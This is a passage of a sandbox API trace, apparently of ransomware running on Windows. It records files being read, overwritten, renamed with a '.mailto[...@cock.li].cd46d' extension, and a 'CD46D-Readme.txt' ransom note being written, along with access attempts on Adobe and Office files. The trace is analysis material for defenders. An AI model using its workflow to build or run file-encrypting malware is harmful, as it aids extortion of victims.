[0164.128] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.129] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0164.129] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945af0 [0164.129] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945578 [0164.129] NtQuerySystemTime (in: CurrentTime=0x716fdd4 | out: CurrentTime=0x716fdd4*=132174899387290000) returned 0x0 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x1fd1ab09 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x4bc8c5e0 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x154a6397 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x505b4383 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x371e48af [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x42540203 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x6a1a743b [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x69ce9e01 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x55913653 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0xc4ff23 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x48dc2908 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0xc3a9aef [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x15d7aedd [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0xa436c1a [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x4ddaf4c8 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x195bbf98 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x10048b1d [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x3b381b70 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x423c432c [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x50360118 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x697ffe4b [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x1be805c5 [0164.129] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x36a3f2d4 [0164.130] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x3d1f9cca [0164.130] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x44199727 [0164.130] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x4d884a82 [0164.130] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x6d0d2eff [0164.130] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x27bb260a [0164.130] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0xd6ae091 [0164.130] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x300905e8 [0164.130] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x4ee87401 [0164.130] RtlRandomEx (in: Seed=0x716fde0 | out: Seed=0x716fde0) returned 0x2878ecd4 [0164.140] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.140] ReadFile (in: hFile=0xadc, lpBuffer=0xd496048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x716fdb4, lpOverlapped=0x0 | out: lpBuffer=0xd496048*, lpNumberOfBytesRead=0x716fdb4*=0xc800, lpOverlapped=0x0) returned 1 [0164.143] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2590 [0164.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c3c8 [0164.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0164.143] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457d0) returned 1 [0164.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0xd4a2850 [0164.145] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0164.145] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945578 [0164.145] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945578) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c3c8) returned 1 [0164.145] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2590) returned 1 [0164.145] WriteFile (in: hFile=0xadc, lpBuffer=0xd4a2850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x716fdb4, lpOverlapped=0x0 | out: lpBuffer=0xd4a2850*, lpNumberOfBytesWritten=0x716fdb4*=0xc800, lpOverlapped=0x0) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a2850) returned 1 [0164.149] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd496048) returned 1 [0164.149] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8838 [0164.149] SetFilePointerEx (in: hFile=0xadc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.149] WriteFile (in: hFile=0xadc, lpBuffer=0x8f3b38*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x716fe34, lpOverlapped=0x0 | out: lpBuffer=0x8f3b38*, lpNumberOfBytesWritten=0x716fe34*=0x10b, lpOverlapped=0x0) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3b38) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945578) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457d0) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945af0) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0164.152] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458c0) returned 1 [0164.152] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x8f3b38 [0164.152] wcscpy (in: _Dest=0x8f3b38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" [0164.152] wcscat (in: _Dest=0x8f3b38, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.mailto[2Hamlampampom@cock.li].cd46d" [0164.152] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x716fdec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.152] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x104) returned 0x8f6488 [0164.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0164.153] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c1b50) returned 1 [0164.153] NtQueryInformationFile (in: FileHandle=0xadc, IoStatusBlock=0x716fdf8, FileInformation=0x716fdd0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x716fdf8, FileInformation=0x716fdd0) returned 0x0 [0164.153] NtSetInformationFile (FileHandle=0xadc, IoStatusBlock=0x716fdf8, FileInformation=0x716fdd0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.689] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3b38) returned 1 [0164.689] FlushFileBuffers (hFile=0xadc) returned 1 [0165.161] CloseHandle (hObject=0xadc) returned 1 [0165.162] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xae) returned 0x8f5a80 [0165.162] wcscpy (in: _Dest=0x8f5a80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\" [0165.162] wcscat (in: _Dest=0x8f5a80, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\CD46D-Readme.txt" [0165.162] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\cd46d-readme.txt")) returned 0xffffffff [0165.162] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xadc [0165.162] WriteFile (in: hFile=0xadc, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x716fdf4, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x716fdf4*=0x6fd, lpOverlapped=0x0) returned 1 [0165.163] CloseHandle (hObject=0xadc) returned 1 [0165.163] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5a80) returned 1 [0165.163] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b078) returned 1 Thread: id = 4166 os_tid = 0x15a0 [0157.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif")) returned 0x20 [0157.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0157.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0157.626] GetLastError () returned 0x5 [0157.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0157.626] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9b98) returned 1 Thread: id = 4167 os_tid = 0x15a4 [0157.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif")) returned 0x20 [0157.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0157.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0157.628] GetLastError () returned 0x5 [0157.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0157.628] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9d28) returned 1 Thread: id = 4168 os_tid = 0x15a8 [0157.629] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\accessibility.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\accessibility.sky")) returned 0x20 [0157.629] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\accessibility.SKY", dwFileAttributes=0x20) returned 0 [0157.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\accessibility.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\accessibility.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0157.629] GetLastError () returned 0x5 [0157.629] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\accessibility.SKY", dwFileAttributes=0x20) returned 0 [0157.630] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933f40) returned 1 Thread: id = 4169 os_tid = 0x15ac [0157.631] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Acroform.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\acroform.sky")) returned 0x20 [0158.781] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Acroform.SKY", dwFileAttributes=0x20) returned 0 [0158.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Acroform.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\acroform.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.781] GetLastError () returned 0x5 [0158.781] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Acroform.SKY", dwFileAttributes=0x20) returned 0 [0158.781] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad8e8) returned 1 Thread: id = 4170 os_tid = 0x15b0 [0157.631] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\AdobeCollabSync.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\adobecollabsync.sky")) returned 0x20 [0159.089] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\AdobeCollabSync.SKY", dwFileAttributes=0x20) returned 0 [0159.089] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\AdobeCollabSync.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\adobecollabsync.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.089] GetLastError () returned 0x5 [0159.089] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\AdobeCollabSync.SKY", dwFileAttributes=0x20) returned 0 [0159.089] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c5c8) returned 1 Thread: id = 4171 os_tid = 0x15b4 [0157.632] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Annots.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\annots.sky")) returned 0x20 [0159.088] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Annots.SKY", dwFileAttributes=0x20) returned 0 [0159.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Annots.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\annots.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.088] GetLastError () returned 0x5 [0159.088] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Annots.SKY", dwFileAttributes=0x20) returned 0 [0159.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940530) returned 1 Thread: id = 4172 os_tid = 0x15b8 [0157.633] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\BRdlang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\brdlang32.sky")) returned 0x20 [0159.086] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\BRdlang32.SKY", dwFileAttributes=0x20) returned 0 [0159.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\BRdlang32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\brdlang32.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.087] GetLastError () returned 0x5 [0159.087] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\BRdlang32.SKY", dwFileAttributes=0x20) returned 0 [0159.087] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae888) returned 1 Thread: id = 4173 os_tid = 0x15bc [0157.633] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Checkers.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\checkers.sky")) returned 0x20 [0159.104] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Checkers.SKY", dwFileAttributes=0x20) returned 0 [0159.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Checkers.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\checkers.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.104] GetLastError () returned 0x5 [0159.104] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Checkers.SKY", dwFileAttributes=0x20) returned 0 [0159.105] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ace48) returned 1 Thread: id = 4174 os_tid = 0x15c0 [0157.633] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DigSig.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\digsig.sky")) returned 0x20 [0159.103] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DigSig.SKY", dwFileAttributes=0x20) returned 0 [0159.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DigSig.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\digsig.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.103] GetLastError () returned 0x5 [0159.103] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DigSig.SKY", dwFileAttributes=0x20) returned 0 [0159.103] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9408c0) returned 1 Thread: id = 4175 os_tid = 0x15c4 [0157.634] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DVA.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\dva.sky")) returned 0x20 [0159.102] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DVA.SKY", dwFileAttributes=0x20) returned 0 [0159.102] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DVA.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\dva.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0159.102] GetLastError () returned 0x5 [0159.102] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DVA.SKY", dwFileAttributes=0x20) returned 0 [0159.102] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940f48) returned 1 Thread: id = 4191 os_tid = 0x1608 [0157.941] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\adobepdf417.pmp")) returned 0x20 [0157.941] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp", dwFileAttributes=0x20) returned 0 [0157.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\adobepdf417.pmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0157.942] GetLastError () returned 0x5 [0157.942] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp", dwFileAttributes=0x20) returned 0 [0157.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f49f8) returned 1 Thread: id = 4200 os_tid = 0x1630 [0157.953] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1051.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1051.mst")) returned 0x21 [0158.596] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1051.mst", dwFileAttributes=0x20) returned 0 [0158.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1051.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1051.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0158.597] GetLastError () returned 0x5 [0158.597] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1051.mst", dwFileAttributes=0x21) returned 0 [0158.597] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dcee0) returned 1 Thread: id = 4201 os_tid = 0x1638 [0157.953] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1053.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1053.mst")) returned 0x21 [0158.598] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1053.mst", dwFileAttributes=0x20) returned 0 [0158.598] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1053.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 